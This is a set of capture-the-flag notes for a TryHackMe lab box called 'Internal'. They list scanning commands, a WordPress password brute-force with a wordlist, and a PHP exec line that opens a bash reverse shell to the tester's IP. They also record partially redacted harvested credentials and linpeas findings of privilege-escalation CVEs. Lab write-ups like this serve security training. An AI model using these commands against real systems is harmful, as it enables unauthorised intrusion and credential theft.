RCON

info

https://tryhackme.com/room/internal

10.10.12.74
10.11.13.238 ME
internal.thm

scan

nmap $ip -vv
nmap $ip -vv -p-
nmap $ip -vvv -sC -sV -p 22,80 | tee internal/nmap.txt
nikto -host http://internal.thm | tee internal/nikto.txt

results

22/tcp open ssh   syn-ack OpenSSH 7.6p1
80/tcp open http   syn-ack Apache httpd 2.4.29

webserver

http://internal.thm/

http://internal.thm/blog/

http://internal.thm/phpmyadmin/index.php

http://internal.thm/phpmyadmin/setup/

WordPress

wpscan --url http://internal.thm/blog/ --plugins-detection passive

wpscan --url http://internal.thm/blog/ -e vp vt --passwords wlists/rockyou.txt --api-token J[...]k | tee internal/WPscan.txt

WordPress version 5.4.2
twentyseventeen

exec("bash -c 'bash -i >& /dev/tcp/10.11.13.238/1234 0>&1'");
nc -nlvp 1234
→ shell

creds

http://internal.thm/blog/wp-login.php
	a[...]n:m[...]s

SQL:
	w[...]s:w[...]3

UNIX:
	aubreanna:b[...]3

EXPLOIT

WordPressShell

wp.config.php
→ SQL creds

enumeration:
opt/wp-save.txt
→ user creds

priv esc. to user:

/home/aubreanna/user.txt

escalate

Internal Jenkins service is running on 172.17.0.2:8080

curl http://172.17.0.2:8080
<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2F'/-
><script>window.location.replace('/login?from=%2F');</script></head><body
style='background-color:white; color:white;'>

Authentication required
<!--
You are authenticated as: anonymous
Groups that you are in:

Permission you need to have (but didn't): hudson.model.Hudson.Read
 ... which is implied by: hudson.security.Permission.GenericRead
 ... which is implied by: hudson.model.Hudson.Administer
-->

</body></html>

linpeas

Vulnerable to CVE-2021-4034
Potentially Vulnerable to CVE-2022-2588

127.0.0.1:44115
127.0.0.1:8080

1. CVE-2021-4034:
wget files and execute